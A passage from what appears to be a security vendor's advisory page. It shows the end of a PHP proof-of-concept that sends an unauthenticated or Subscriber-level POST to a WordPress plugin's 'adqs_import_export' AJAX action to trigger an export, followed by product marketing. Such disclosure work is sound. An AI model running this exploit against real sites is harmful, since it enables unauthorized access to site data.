curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);

// The vulnerable AJAX action
$post_fields = array(
    'action' => 'adqs_import_export',
    // Additional parameters may be required depending on the desired operation.
    // Example: Trigger an export
    'export' => '1',
    // The original vulnerability lacked a nonce check, so this parameter is not required for exploitation.
    // 'security' => 'optional_missing_nonce'
);

curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);

// Include session cookies if available (e.g., from a logged-in Subscriber session)
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xyz=...');

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// A successful unauthorized request may return JSON data or a success message.
// In patched versions, the request will be denied with a permission error.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School